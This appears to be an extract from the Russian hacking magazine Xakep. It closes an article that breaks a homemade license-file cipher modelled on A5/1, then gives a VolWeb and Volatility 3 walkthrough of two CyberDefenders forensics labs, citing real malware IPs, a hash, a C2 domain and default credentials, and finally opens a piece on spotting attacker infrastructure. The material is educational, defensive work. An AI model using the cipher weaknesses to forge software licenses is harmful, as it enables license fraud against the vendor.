никакого криптора нам писать не надо — «декриптование» исходного текста
этим же алгоритмом криптует его обратно.

По сути, задача решена, можно пить шампанское, но во время эксплуата‐
ции алгоритма выясняются интересные нюансы. По  идее, раз версия, под‐
версия и первые шесть байт серийника инициализируют криптор, то генери‐
руемая псевдослучайная гамма должна однозначно привязываться к  этим
трем значениям. Однако на практике мы видим, что подверсии одной и той же
версии  5.00, 5.01, ... (причем аж до  5.99) прекрасно расшифровывают один
и тот же файл лицензии.

Конечно, можно порадоваться такой полезной фиче  — ведь не  нужно
перегенерировать новые лицензии для  каждого соседнего апдейта, однако
для подверсии 5.100 она уже не работает. На то, что это не фича, а именно
баг, точнее кошмарная коллизия криптоалгоритма, намекает и то обстоятель‐
ство, что как  минимум от  первого байта серийного номера гамма тоже
не зависит. Например, ключи  и   корректно рас‐

шифровывают одну и  ту же лицензию. Если копнуть дальше, то становится
еще интереснее: если попробовать заменить второй байт серийника (к при‐
меру,  вместо ), то файл расшифровывается оди‐

наково, за  исключением первого символа. А  если менять третий символ
серийника (  на  ), то, наоборот, первые четыре

символа расшифруются правильно, а дальше — мусор.

0050141900-0 0050140900-0

0050140800-0 0050140900-0

0050140900-0 0050140910-0

Понятно, что алгоритм A5/1 изобретали еще в прошлом веке, причем спе‐
циально уменьшили криптостойкость, чтобы те, кому надо, могли слушать
трафик. В  итоге от  него и  отказались по  этой самой причине. Однако серь‐
езный криптоалгоритм с такими коллизиями вообще никуда не годится, что‑то
тут явно не так. Самое очевидное, что приходит на ум, — а не надурил ли нас
искусственный интеллект, опознав алгоритм как A5/1?

Попробуем проанализировать причины, по которым он так считает, благо
ИИ и не скрывает их от нас. Для этого снова окунемся в теорию и посмотрим,
как  работает A5/1. Вдаваться в  детали не  будем, подробности можно найти

.на Вики
Как и  наш алгоритм, A5/1  — это  поточный шифр, шифрующий и  дешиф‐

рующий текст путем XOR-наложения с  генерируемой им псевдослучайной
гаммой (впрочем, так работает большинство поточных шифров). Для генера‐
ции этой гаммы используются три линейных регистра сдвига с  обратной
связью (LFSR) различной длины. Каждый выходной бит гаммы формируется
путем исключающего ИЛИ  над определенными битами регистров, которые
на каждом такте обновляются через сдвиг с заменой одного бита значением
линейного полинома от определенных битов данного регистра. Какой именно
регистр будет обновляться, определяется положением специальных битов
синхронизации. На схеме это выглядит примерно так.

Звучит немного страшно, но попробуем сравнить с нашим алгоритмом. В нем
тоже есть три регистра состояния ( ,  и  ), обновля‐
емых на  каждом такте путем сдвига вправо и  замены определенных битов
новыми значениями. Тактирование тоже неравномерное и условное: регистр
сдвигается не на каждом такте, а в зависимости от положения синхробитов.

state67 state68 state69

И даже выходной бит формируется путем XOR битовых значений
v8  и  v13  с  аккумуляцией полученных значений в  . То есть это  выглядит

даже не реализацией A5/1, а как минимум его равноценной вариацией, на что
и  ссылается ИИ. Однако, как  говорится, дьявол кроется в  деталях, которые
и  проявляются, если копнуть чуть глубже. Причем даже можно взять себе
в помощники тот же искусственный разум, он не обидится.

v11

Для начала обратим внимание на  битность входных данных и  рабочих
регистров. В классическом A5/1 ключ 64-битный, который при инициализации
разбивается на три регистра длинами 19, 22 и 23 бита. У нас же он, на первый
взгляд, в полтора раза длиннее — 96 байт, и регистры все 32-битные. Конеч‐
но, несоответствие, однако так алгоритм выглядит надежнее.

Но, присмотревшись, мы видим, что регистры 32-битные лишь на первый
взгляд. Точнее, реально все 32 бита используются только у регистра ,

являющегося, по сути, ведущим регистром, обновляющимся на каждом такте
(что тоже, кстати, кардинально отличает алгоритм от  A5/1, у  которого все
регистры в  плане тактирования равноценны). Видно, что при  обновлении
у  регистра  в  зависимости от  положения младшего бита или  сбра‐

сывается, или устанавливается два старших бита, что фактически равнознач‐
но циклическому сдвигу вправо  31-битного значения с  потерей старшего
бита.

state67

state68

У регистра  при  обновлении теряется уже три старших бита, то

есть фактическая битность регистров состояния — 32, 31 и 29. Тут уже нап‐
рашиваются коллизии на  ключах, различающихся старшими битами, тем
более что авторы алгоритма возмутительно сэкономили на  процедуре ини‐
циализации ключей (ведь по канону при инициализации регистров A5/1 про‐
исходит несколько сотен холостых тактов с различными вариациями, а у нас
ключ тупо заливается в регистры сразу перед шифрованием).

state69

Наш алгоритм стремительно отдаляется от  классического A5/1, однако
даже эти допущения пока что не  выглядят достаточно критичными для  уяз‐
вимости алгоритма. Ну подумаешь, три старших бита, у  нас все равно ключ
текстовый, причем по  алгоритму состоящий преимущественно из  цифр
и  спецсимволов, да  и в  сухом остатке у  нас по‑прежнему  93  бита против
каноничных 64 — интуитивно это выглядит надежнее.

Перейдем к  более критичным допущениям (вернее, упущениям соз‐
дателей алгоритма). Главное из которых, как ты уже, наверное, догадался, я
упомянул выше: у  A5/1  управление тактированием реализовано по  мажори‐
тарному принципу, а в нашем алгоритме — каскадное условное тактирование
по младшему биту ведущего регистра. В переводе на простой язык это звучит
примерно следующим образом. Как я уже писал, в алгоритме A5/1 в каждом
регистре присутствует специальный синхробит (восьмой в  одном и  десятый
в  двух остальных). На  каждом такте делается выборка из  этих трех бит и  по
мажоритарному признаку определяется, какие именно регистры будут
обновляться (как при демократическом голосовании — большинство решает,
поворачиваться им или  нет, вот только меньшинство не  обязано им под‐
чиняться).

То есть если значения соответствующих битов будут 0, 0 и 1, то обновлены
будут первые два, а  в случае  1, 0  и  1  — только первый и  третий. В  итоге
как минимум два регистра будут обновлены путем сдвига с линейным перес‐
четом младшего бита. В  нашем же случае все наоборот. Какой из  двух
ведомых регистров  и   будет обновлен (а заодно и младший
бит какого из  них будет использоваться в  формировании итогового зна‐
чения), единолично решает младший бит управляющего регистра .

Способ же собственного обновления каждый регистр выбирает сам: в случае
установленного младшего бита это  инвертирование определенных битов,
в противном случае — циклический сдвиг вправо. На схеме это выглядит при‐
мерно так.

state68 state69

state67

По центру  — ведущий  32-битный регистр , управляющий сос‐

тояниями регистров  (сверху) и   (снизу). Принципиальные

различия с  A5/1  просто бросаются в  глаза. Видно, что синхронизация так‐
тирования упрощена, и, кроме того, становится очевидно, что ,

 и   вовсе не  линейные регистры сдвига с  обратной связью

(LFSR), поскольку они не  сдвигаются при  каждом такте, формируя допол‐
нительный бит как  линейную комбинацию остальных, а  переключают цик‐
лический сдвиг (операция условно линейная) с  фактически обратной опе‐
рацией — выбранные биты комбинируются с младшим битом LSB.

state67
state68 state69

state67
state68 state69

Автор алгоритма, вероятно, хотел соригинальничать, а в итоге завалил все
дело: переход к нелинейным операциям выводит алгоритм из зоны действия
всей теории криптографии и  делает его поведение непредсказуемым. Чем
это  чревато на  практике? Да  всем, чем угодно. Самое простое и  наглядное
следствие нелинейности преобразования  — зависание (Stuck States). Пос‐
кольку выбор операции над  регистром зависит только от  его собственного
младшего бита, то может возникнуть ситуация, когда он «застынет» в одном
положении  — не  будет сдвигаться, соответственно меняя LSB, что не  даст
ему выйти из  этого положения. Собственно, подобный эффект мы и  наб‐
людали выше при  использовании ключа  0050150900-0. Рассмотрим изме‐
нение состояния алгоритма пошагово:

state67 state68 state69
0x30303530  0x31343039  0x30302d30
0x18181a98  0x31343039  0x08181698
0x0c0c0d4c  0x31343039  0x040c0b4c
0x060606a6  0x31343039  0x020605a6
0x03030353  0x31343039  0x010302d3
0xc3030362  0xd1343029  0x010302d3
0x618181b1  0xd1343029  0xf90302d2
0xa1818180  0xf1343039  0xf90302d2
0x50c0c0c0  0xf1343039  0x0c818169
...

В принципе, дальше можно не продолжать: и так видно, что значение регис‐
тра  (точнее, его биты, кроме 4-го и 29-го) «замерзло», не изменяет‐

ся ни при каких условиях. Да и с чего бы ему меняться — ведь поменяться оно
по  условию алгоритма может только при  сдвиге регистра, а  он зависит
от  LSB, который тоже из  единичного состояния выбраться может только
при том же самом условии. Налицо грубейшая ошибка составления алгорит‐
ма — достаточно было бы иначе выбрать маску XOR для этого регистра (уста‐
новив младший бит LSB в  константе ), и  такой явной коллизии
не возникало бы.

state68
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Какие последствия возможны у  этой коллизии? Пока что мы заметили
только совпадения шифровальных гамм для  групп ключей с  определенными
одинаковыми байтами. Что ж, как  говорится, беда, но  не катастрофа, ведь
текст все равно шифруется до нечитаемого состояния. Да и вообще, констан‐
ту поправить — плевое дело! Но не все так просто.

Теория криптографии хоть и  кажется на  непосвященный взгляд малопо‐
лезным развлечением для ученых фриков, на самом деле неумолима: M-пос‐
ледовательности максимального периода (офигенно длинные циклы
из неповторяющихся байтов, гарантированно большие любого, даже самого
огромного файла) получаются только при определенных полиномах обновле‐
ния LFSR. При использовании любительской нелинейной функции генерация
почти неизбежно скатывается в  так называемые короткие циклы, вплоть
до нескольких байтов.

Да что там говорить: легко придумать примеры, когда короткий цикл будет
состоять всего из одного байта  или  , то есть последовательность шиф‐

роваться не  будет вовсе. К  примеру, в  случае нашего алгоритма для  опре‐
деленного множества ключей, содержащих последовательные нулевые бай‐
ты, составляющие целый регистр (например, ), шиф‐

ровальная гамма будет состоять практически из  одного байта , а  зашиф‐

рованная последовательность будет просто набором инвертированных бай‐
тов исходного текста, что, конечно, полностью неприемлемо.
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В общем, мораль всей этой истории я уже высказал выше. Молодому сот‐
руднику серьезной конторы поручили написать криптование лицензионного
файла, а он решил сымпровизировать, а заодно потешить свое ЧСВ и «улуч‐
шить» банальный A5/1, добавив туда «веселые обои». В  итоге он, конечно,
прославился, став героем этой статьи. Не будь как он, не трогай стандартные
криптоалгоритмы, умные люди всё продумали в  них до  мелочей, и  каждый
исправленный тобой бит в волшебной константе может полностью лишить их
магии. © X

https://xakep.ru/2025/10/28/rabbit-reverse/
https://xakep.ru/2024/09/10/eddsa/
https://xakep.ru/2021/09/29/sourceguardian-bypass/
https://xakep.ru/2021/09/29/sourceguardian-bypass/
https://ru.wikipedia.org/wiki/A5_(%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)
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На столе эксперта по цифровой форензике
часто оказываются артефакты с пострадав‐
ших машин. Один из  наиболее важных
артефактов  — это  дамп оперативной
памяти. Он помогает выстроить таймлайн
атаки и  получить дополнительные опорные
точки. Сегодня поработаем с таким дампом
при  помощи нового удобного инструмен‐
та — VolWeb.

 — это «мгновенный снимок» работы системы. В ней

хранится то, что происходит прямо сейчас:

Оперативная память

запущенные процессы;•
открытые сетевые соединения;•
пароли в открытом виде;•
содержимое открытых файлов;•
ключи шифрования;•
следы деятельности злоумышленника, которые никогда не  сохраняются
на диск.

•

  — одна из  ключевых задач в  цифровой кримина‐
листике и при реагировании на инциденты. Для извлечения и анализа дампа
памяти используют фреймворк .

Анализ дампов памяти

Volatility 3

Давай пройдемся по основным целям, которые помогает достичь Volatility
3.

1. Обнаружение вредоносного ПО и руткитов
 вредоносные программы часто маскируются

под  легитимные процессы или  внедряются в  них (DLL injection, code
injection). Volatility 3 может показать список всех процессов, включая те, что
скрыты от стандартных диспетчеров задач.

• Скрытые процессы:

 можно увидеть, с  какими IP-адресами и  портами

устанавливали соединения вредоносные процессы, даже если они уже
завершены (если информация еще не перезаписана).

• Сетевые соединения:

 позволяет заглянуть в  память конкретного процесса

и найти фрагменты вредоносного кода, который был внедрен.

• Внедренный код:

2. Расследование инцидентов безопасности
 что происходило в  системе

перед  инцидентом? Какие программы запускались? Какие команды
выполнялись?

• Восстановление хронологии событий:

 поиск в  памяти следов фишинговых атак, выпол‐

ненных команд, введенных паролей, открытых браузерных сессий, истории
чатов и так далее.

• Поиск артефактов:

 какие данные были похищены или зашифрованы?

Какие системы были затронуты?

• Определение ущерба:

3. Анализ действий злоумышленника
 Volatility 3 может извлекать хеши паролей, билеты

Kerberos и  даже пароли в  чистом тексте из  памяти процессов, таких
как   (что критично для атак pass the hash).

• Кража учетных данных:

LSASS.exe
 обнаружение следов эксплоитов (нап‐

ример, шелл‑кодов в  памяти) или  признаков применения техник living off
the  land (LoLBins), когда злоумышленник использует легитимные сис‐
темные утилиты.

• Поиск следов эксплуатации:

4. Обход техник противостояния форензике
Современные вредоносные программы и  продвинутые злоумышленники
(APT) используют техники, которые не оставляют следов на диске. Они сущес‐
твуют исключительно в  оперативной памяти (fileless malware). Единствен‐

ный способ их обнаружить — провести анализ RAM.

5. Криминалистический анализ
 например, найти доказательства того,

что пользователь знал о незаконности своих действий (открытые докумен‐
ты, чаты, переписки в мессенджерах).

• Доказательство наличия умысла:

 в  оперативной памяти могут вре‐

менно храниться данные с зашифрованных дисков или удаленные файлы,
к которым система еще не обращалась для их полного стирания.

• Восстановление удаленных данных:

В «Хакере» разные авторы неоднократно рассказывали о  достоинствах
и недостатках фреймворка Volatility 3, замечу, что достоинств все же больше.
Однако Volatility 3  требует тонкой настройки, а  также знания синтаксиса
и понимания сути вывода команд в терминале.

Некоторые популярные инструменты форензики позволяют не  только
получать информацию в командной строке интерпретатора, но и в виде гра‐
фов показывают информацию о действиях злодея.

 — инструмент с открытым исходным кодом, позволяющий анализи‐
ровать снимки оперативной памяти, не трогая командную строку.

VolWeb

VolWeb можно развернуть в любой системе в виде контейнера Docker. Он уже
будет содержать все настройки, которые позволят нам комфортно работать
через браузер.

Итак, идем в  , скачиваем через Git файлы проекта и перехо‐
дим в каталог инструмента.

репозиторий

Переименуем  в  . Это  файл рабочего окружения с  учет‐
ными данными для СУБД и бэкенда, а также номерами рабочих портов.

.env.example .env

Править файл с  примерами настроек необязательно. Инструмент готов
к  запуску, но  учти, что сам запуск будет небыстрым. Придется подождать,
пока загрузятся и смонтируются нужные образы.

Теперь мы видим новый стек контейнеров. Для  управления контейнерами
Docker очень удобен Portainer.

Как видишь, нужные инструменту порты на  моем хосте свободны и  контей‐
неры корректно запущены. Если необходимые порты по  умолчанию заняты,
при запуске Docker укажет на это.

Для доступа к  веб‑интерфейсу и  работы в  нем нам понадобится
порт 3000. Откроем через браузер страницу инструмента.

На этом этапе нас встречает страница входа в интерфейс, стандартные кре‐
ды — .admin:password

Для исследования дампа нужно создать кейс и файл анализа для него. Соот‐
ветствующие кнопки и вкладки находятся слева. При переходе к нужному раз‐
делу сущности добавляются через значок  в  правом нижнем углу экрана.

Если его нажать, появляется диалоговая форма с полями для ввода, выбора
данных и интерактивными кнопками.

+

Где взять материал для  анализа, если нужный файл нам не  выдали?
Рекомендую ресурс . После регистрации там доступны
артефакты для  исследования, а  в лабораторных работах  — вопросы с  фор‐
мами ответа (иногда даже с  подсказками). В  качестве примера попробуем
разобрать задачку .

cyberdefenders.org

RedLine Lab

Нам предлагают загрузить архив с файлом и использовать Volatility 3. Мы же
протестируем работу VolWeb. Создаем кейс и подгружаем в него файл.

И снова загрузка идет небыстро. После загрузки и  анализа дампа в  строке
с файлом появится статус success. Если есть еще данные, просто запускаем
следующую загрузку.

Справа появились кнопки  (расследовать),  (проана‐

лизировать заново) и   (удалить). Мы теперь можем перейти к анализу
загруженного дампа и  искать ответы на  вопросы из  лабораторной работы.
Параллельно я буду обрабатывать дамп классическим Volatility 3 и сравнивать
результаты, чтобы понять, не вводит ли веб‑интерфейс в заблуждение.

Investigate Reanalyze

Delete

Переходим к анализу. Жми кнопку с микроскопом.

Первая вкладка с домиком — . Слева показаны плагины инс‐

трумента, которые отработали успешно и выдали результат для изучения, а по
центру и справа схематично отражен тот же результат для понимания общей
картины. Видно, что сработали плагины для  Windows. Проверим классикой:
файл дампа я положил в  тот же каталог с  Volatility 3, в  терминале выполняю
команду

общий обзор

python3 vol.py -f MemoryDump.mem windows.info

Идем дальше.

Из полученных данных видно, что в дампе памяти процессов зафиксированы
действия малвари с  файловой системой и  ядром. Этой информации недос‐
таточно для полной картины, идем дальше.

На вкладке «Исследование» показаны самые подозрительные процессы,
на которые стоит обратить внимание.

Продолжение статьи →

https://github.com/k1nd0ne/VolWeb
https://github.com/k1nd0ne/VolWeb
https://cyberdefenders.org/
https://cyberdefenders.org/blueteam-ctf-challenges/redline/


ЩУПАЛЬЦА VOLWEB
КАК ВЫТАЩИТЬ УЛИКИ

ИЗ ОПЕРАТИВНОЙ ПАМЯТИ,
НЕ ЗАЛЕЗАЯ В ТЕРМИНАЛ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Точки графа кликабельны, при активации подсвечиваются некоторые детали.
Самым нетипичным и подозрительным с точки зрения инструмента выглядит

. Если нажать на эту оранжевую точку, будет показана активность.oneetx.exe

В этом процессе зафиксирована аномальная активность: для него включена
поддержка WoW64. О чем это может говорить?

WoW64 (Windows-on-Windows 64-bit)  — это  подсистема в  64-битных вер‐
сиях Windows, которая позволяет запускать 32-битные приложения на 64-бит‐
ной операционной системе. Когда мы видим эту пометку в Volatility 3 или дру‐
гих инструментах, это значит, что процесс — 32-битное приложение, работа‐
ющее в 64-битной среде.

Подозрительно? Не  факт: многие приложения могут запускаться так же,
но  есть одно но. Из  графа видно, что процесс обращался к  адре‐
су  77.91.124.20  по  80‑му порту, при  этом хост имел адрес  10.0.85.2  и  был
открыт порт  55462. Если покликать по  другим точкам, аномалий больше
не  видно. Рекомендую в  таких случаях сразу проверять репутацию IP
на VirusTotal.

Результат впечатлил... Тем более что среди файлов, связанных с  исполня‐
емым файлом процесса, можно увидеть имя . Проверим в  клас‐
сическом инструменте такой командой:

oneetx.exe

python3 vol.py -f MemoryDump.mem windows.psscan

В дереве процессов найден детектированный процесс, и  отчетливо видно,
что его PID отличается,  — подозрительно. «Примерим» эту информацию
в качестве ответа на первый вопрос.

Продолжаем исследование. Второй вопрос связан уже с  дочерним процес‐
сом.

На графе видно дочерний процесс , других дочерних процес‐

сов нет.

rundll32.exe

Это легитимный исполняемый файл Microsoft, часть Windows. Его основная
задача — загружать и выполнять функции из DLL (dynamic link library). Но этот
файл часто используют злоумышленники: он помогает прятать вредоносную
активность в «шуме» обычной системной работы, а еще позволяет запускать
вредоносный код прямо из памяти, не оставляя исполняемых файлов на дис‐
ке. Подозрительно? По‑моему, да. Проверим в Volatility 3:

5896python3 vol.py -f MemoryDump.mem windows.pstree | grep 

Проверим ответ на сайте.

Видим зеленую галочку у ответа — значит, двигаемся дальше.

Тут уже графом не обойтись — переходим на следующую вкладку, где можно
изучать процессы в  дампе. Слева  — дерево процессов, справа  — кнопки:
часть из  них активна (можем попробовать вытащить нужную информацию),
а часть неактивна и в этом дампе для ряда процессов неприменима. Набор
кнопок меняется при выборе процесса.

На первый взгляд тут слишком много непонятного, но у нас есть подсказки.

Подсказкой можно пользоваться легально, так что пробуем: ищем информа‐
цию о плагине  справа. Он там есть в разделе Malware.malfind

Крутим ползунок внизу слева направо и  наблюдаем примечание
 у  нашего подозрительного процесса с  Process ID

5896.

PAGE_EXECUTE_READWRITE

Флаг  делает систему более уязвимой к  атакам,

например к  выполнению произвольного кода (arbitrary code execution). Сов‐
ременные операционные системы стараются свести использование этого
флага к минимуму и опираются на более строгие политики защиты памяти —
с разделением областей кода и данных (например, W^X или NX-бит).

PAGE_EXECUTE_READWRITE

Проверим полученную информацию в Volatility 3:

python3 vol.py -f MemoryDump.mem windows.malfind --pid 5896

Есть контакт, продолжаем.

Честно говоря, я ожидал вопрос про  VPN-соединение  — все‑таки это  один
из  любимых способов получить канал управления жертвой и  надежно дос‐
тавить ВПО на хост.

Снова посмотрим на граф с подозрительным процессом: видно, что про‐
цесс с  PID 5896  обращается к  стороннему недоверенному адресу с  IP
10.0.85.2 — это может быть адресом жертвы в VPN-туннеле. Тут стоит обра‐
тить внимание на плагины Volatility 3, которые связаны с сетевой активностью.

Отфильтровав по PID, выходим на строку с нужным процессом. Гипотеза под‐
тверждается.

Но отсюда мы не  получили информацию о  процессе, который отвечает
за VPN‑подключение. Если есть связь с процессом PID 5896, его родителем
может быть процесс легитимного пользователя  — как  системного, так
и  физического. Кто пользовался устройством в  момент зафиксированной
активности?

С помощью плагина GetSIDs посмотрим, какой пользователь запустил этот
процесс.

Среди найденных SID замечаем пользователя Tammam — имя явно непохоже
на  системное. Любопытно взглянуть на  его процессы: среди них и  кроется
ответ. Можно просто просмотреть дерево процессов в  надежде, что что‑то
подозрительное бросится в глаза.

Меня привлек обнаруженный инструментом процесс , который

порождает . Судя по  названию, это  может быть поднятый
на хосте прокси. В списке процессов особенно выделялись 4224 — 

  — и  4628  — : у  них один родитель с  PPID 6724  — уже

известный нам .

Outline.exe
tun2socks.exe

Outline.
exe tun2socks.exe

Outline.exe
  — утилита, которая играет ключевую роль в  организации

сетевых подключений, особенно в контексте VPN и прокси. Она создает вир‐
туальный сетевой интерфейс (TUN/TAP) и прогоняет весь проходящий через
него трафик через SOCKS-прокси. Проще говоря, это мост между виртуаль‐
ной сетевой картой и SOCKS-прокси. Имеет смысл поискать дополнительную
информацию об этом процессе в сети.

tun2socks.exe

Да, это  не системное ПО, его может установить пользователь и  применять
в легитимных целях, но в нашем дампе для этого процесса все равно вклю‐
чена поддержка WoW64. Попробуем ответить на вопрос объективно: за VPN-
соединение отвечает процесс , других похожих я не обнаружил

при анализе.

Outline.exe

Посмотрим в Volatility 3:

python3 vol.py -f MemoryDump.mem windows.pstree --pid 4628

На всякий случай заглянул в подсказки и понял, что все делал правильно.

Продолжение статьи →
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Ответ принят и подтвержден — можно переходить к следующему вопросу.

Чтобы в  дампе выяснить адрес злоумышленника, обратимся к  плагину
NetScan. Кроме того, судя по  графу, у  нас было взаимодействие с  адре‐
сом 77.91.124.20.

Проверим информацию.

Следующий вопрос особенно интересен.

В классическом Volatility 3 нам предлагают использовать плагины для получе‐
ния строк из дампа. Поищем строки в VolWeb. Нас интересуют файлы с рас‐
ширением .php. Я провел не  один час в  поисках этой информации через
VolWeb, попробовал искать и  через классический Volatility 3, но  ничего
не нашел и решил подойти к заданию с другой стороны.

Первый метод  — использовать информацию с  VirusTotal, а  именно пос‐
мотреть связанные с  IP-адресом источника заражения данные на  вкладке
подробной информации. Сюда подтягивается информация об  URL, которые
пользовательские машины могут запрашивать из‑за активности вредоноса;
было обнаружено несколько ссылок.

Если приглядеться и сравнить с маской из задания, можно предположить, что
это и есть результат. Но есть еще несколько вариантов, и я их проверю.

Сработало, решение есть. Будем считать задание выполненным. Думаю,
не стоит проверять остальные найденные ссылки.

Пока я искал ответ на  этот вопрос, меня посетила идея открыть дамп
памяти в текстовом редакторе и поискать URL прямо в тексте, по регулярке.
Мысль пришла, когда я вспомнил, как  коллеги использовали этот метод
на CTF. Вариант, конечно, не стопроцентный, но попробовать можно.

Попробуем поиск по IP.

Что‑то отдаленно похожее найти можно, но  это скорее дополнительная
догадка. Размер дампа большой  — около  2  Гбайт, так что поиск идет мед‐
ленно. Всего удалось найти восемь совпадений.

Но даже такой «варварский» метод сработал в Notepad++ на Windows. Теперь
поищу это регулярное выражение в «сыром» файле дампа через grep.

Наблюдаю почти тот же результат, что и  при ручном поиске в  Notepad++.
Главное, что платформа приняла результат.

Но остается последний вопрос задачи.

Ранее я получил информацию, что пользователь запускал файл .
Чтобы найти, где он лежит, открою раздел FileScan и  поищу по  строке

.

oneetx.exe

oneetx.exe

Нашел файл по такому пути:

C:\Users\Tammam\AppData\Local\Temp\c3912af058\oneetx.exe

Других вхождений нет. В подсказке задания первые два символа — это звез‐
да и  двоеточие, думаю, что речь о  диске , системном диске с  каталогом

пользователя.

C:

Проверим в Volatility 3:

python3 vol.py -f MemoryDump.mem windows.filescan | grep oneetx.exe

Проверим этот путь в CyberDefenders. Похоже, мой ответ приняли!

На последней вкладке веб‑интерфейса можно построить временную линию
и получить структуру активности нелегитимного процесса.

Это небыстро, придется подождать.

Думаю, нет смысла подробно расписывать картину: и  так понятно, что
это таймлайн процессов, зафиксированных в дампе. Анализ точек, отмечен‐
ных на верхней диаграмме, показывает, какие процессы были активны в каж‐
дый момент времени.

RAMNIT LAB

Одного примера мало, чтобы полноценно показать применение VolWeb
как  универсального инструмента криминалиста. Давай еще  разберем кейс,
связанный с анализом вредоносной активности, зафиксированной на хосте.

Для разбора возьму задачу .Ramnit Lab

Файл для  анализа я уже загрузил и  прогнал через автоматический инстру‐
мент. Параллельно буду исследовать его в терминале с помощью классичес‐
кого Volatility 3. Дополнительно нам понадобится VirusTotal.

При обработке дампа инструмент показал неплохой результат: сработал 71%
плагинов для Windows.

Файл я поместил также в каталог с Volatility 3. Для начала озвучу первый воп‐
рос платформы и воспользуюсь подсказками.

На первый взгляд в  VolWeb не  видно подозрительных процессов, но  стоит
исследовать точки графа.

При внимательном разборе процессов я заметил странную активность: один
из них от имени хоста обращался к стороннему адресу.

Для этого процесса включена поддержка WoW64, что может указывать
на  аномальную активность хоста. Примечательно, что хост обращается
к неизвестному IP через нестандартный порт. Это может быть попыткой про‐
никновения через VPN.

Мое внимание привлек процесс , запущенный из папки заг‐

рузок пользователя. Этот вариант подошел.

ChromeSetup.exe

На второй вопрос отвечаю:

C:\Users\alex\Downloads\ChromeSetup.exe

Заодно проверим это в VolWeb на третьей вкладке, поискав по PID 4628.

Продолжение статьи →

https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/
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Третий вопрос — уже про IP.

Эту информацию я раньше получил из графа — это адрес .58.64.204.181

Ответ принят, идем дальше. Для  ответа на  следующий вопрос нам уже
понадобится VirusTotal.

На первый взгляд, ресурс чист. Но если присмотреться к верхней строке, где
говорится о связях этого IP, можно увидеть, что адрес связан с десятком вре‐
доносных файлов, так что нужен более глубокий анализ.

На вкладке со  связями  — больше информации по  этому IP, дополнительно
подсветилось имя файла, который связан с этой активностью. Сомнений нет.
Город — Гонконг, по‑английски Hong Kong.

В следующем вопросе говорится, что нужно найти hash-файл. Давай поищем
и сравним результат с тем, что показывает VirusTotal. Нам нужно достать SHA-
1-хеш из вредоносного исполняемого файла , поэтому при‐

дется скачать это вредоносное ПО на свой компьютер.

ChromeSetup.exe

Воспользуюсь подсказками  — в  этой задаче их три, так что выполню всё
по шагам и проверю результат.

В Windows с  включенным Defender и  антивирусом выгружать файл опасно,
хотя VolWeb и  умеет это  делать. Система тут же сочтет его вредоносным  —
обнаружит и  удалит. В  Linux файл относительно безопасен  — выгрузим его
через классический Volatility 3.

Это выведет список файлов, но нам нужен вот этот:

file.0xca82b85325a0.0xca82b7e06c80.ImageSectionObject.ChromeSetup.
exe.img

Просто получим SHA-1‑хеш этого файла — это тот самый исполняемый .exe,
который нас интересует.

Получен хеш:

280c9d36039f9432433893dee6126d72b9112ad2

Проверим его в CyberDefenders.

Проверю его еще и на VirusTotal.

Картина неутешительная: вендоры уже помечают этот хеш как вредоносный.
Можно переходить к следующему вопросу.

Чтобы получить ответ на этот вопрос, снова воспользуемся VirusTotal — нуж‐
ная информация есть в детальном описании файла.

Видим точные дату и  время первой компиляции файла  — 1/12/2019  08:36
UTC — и используем их в качестве ответа.

Остался последний вопрос.

Снова нам в помощь VirusTotal.

При разборе этой вкладки видно, что все связанные URL ведут на один домен
верхнего уровня —  (специально заэкранировал).dnsnb8[.]net

Решение принято, лабораторная работа пройдена, все артефакты изучены,
а  ответы проверены на  корректность. Аналогичных задач можно решить
не одну и не две, но о VolWeb уже вполне можно составить впечатление:
1. VolWeb  — современный мощный инструмент, который заметно снижает

порог входа в  анализ оперативной памяти и  делает работу нагляднее.
Оптимальный сценарий  — использовать его как  стартовую панель
и средство визуализации в составе комплексного пайплайна, где финаль‐
ный анализ и  сбор доказательств выполняются проверенными консоль‐
ными утилитами, в первую очередь самим Volatility 3.

2. VolWeb — удобное графическое дополнение к фреймворку Volatility 3. Он
автоматизирует начальные этапы анализа, визуализирует связи между
процессами и сетевыми соединениями (в виде графов), ускоряет рассле‐
дование и помогает быстро замечать аномалии.

3. Связка VolWeb + классический Volatility 3 + внешние ресурсы (VirusTotal,
CyberDefenders) формирует цельный подход к  анализу дампов памяти.
VolWeb идеально подходит для  первичного обзора и  поиска точек инте‐
реса, а Volatility 3 в терминале нужен для глубокой верификации и извле‐
чения детальных артефактов, которые могут не попадать в GUI.

4. VolWeb не  заменяет, а  дополняет Volatility 3. Анализ удобно начинать
с VolWeb, чтобы быстро получить общую картину и найти подозрительную
активность (процессы, соединения). Все найденные индикаторы (PID,
имена файлов, IP-адреса) затем нужно обязательно перепроверить и под‐
робно разобрать с помощью конкретных плагинов Volatility 3 в терминале,
чтобы подтвердить выводы и собрать полноценные доказательства.
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ВЗЛОМ

Киберпреступники используют собствен‐
ную инфраструктуру, чтобы общаться с вре‐
доносным ПО, управлять зараженными
устройствами и  воровать конфиденциаль‐
ные данные. Можно ли обнаружить такие
скрытые угрозы до  того, как  ущерб станет
необратимым?

Эксперт по  информационной безопасности компании «Инфосистемы Джет»
Евгений Богачев отвечает: да, можно. В  статье он объяснит, что такое вре‐
доносная инфраструктура и какие инструменты и методы помогают находить
ее компоненты.

ЧТО ОТНОСИТСЯ К ИНФРАСТРУКТУРЕ ЗЛОУМЫШЛЕННИКОВ?

Для кибератак злоумышленники используют собственную, часто сложную
инфраструктуру. Своевременное обнаружение такой инфраструктуры
помогает понять, как устроены атаки, как ведут себя злоумышленники и какие
меры можно применить на ранних этапах, чтобы минимизировать возможный
ущерб для компании.

Рассмотрим стандартную цепочку Cyber Kill Chain, которая включает семь
этапов:
1. Reconnaissance (разведка).
2. Weaponization (вооружение).
3. Delivery (доставка).
4. Exploitation (заражение).
5. Installation (установка).
6. Command and control (получение контроля).
7. Actions on objective (выполнение действий).

На разных этапах злоумышленники используют разные компоненты своей
инфраструктуры. Например, на  этапе вооружения готовят свои C2-сер‐
веры  — они нужны для  связи с  вредоносным ПО  в сети жертвы. Для  этого
идут в  ход в  том числе легитимные сервисы вроде Telegram, обычные хос‐
тинги, а  также так называемые пуленепробиваемые хостинги, которые игно‐
рируют жалобы на размещенный контент, в том числе вредоносный.

На этапе доставки злоумышленники закидывают вредоносное ПО  в
инфраструктуру жертвы. Чаще всего для этого используют фишинговые пись‐
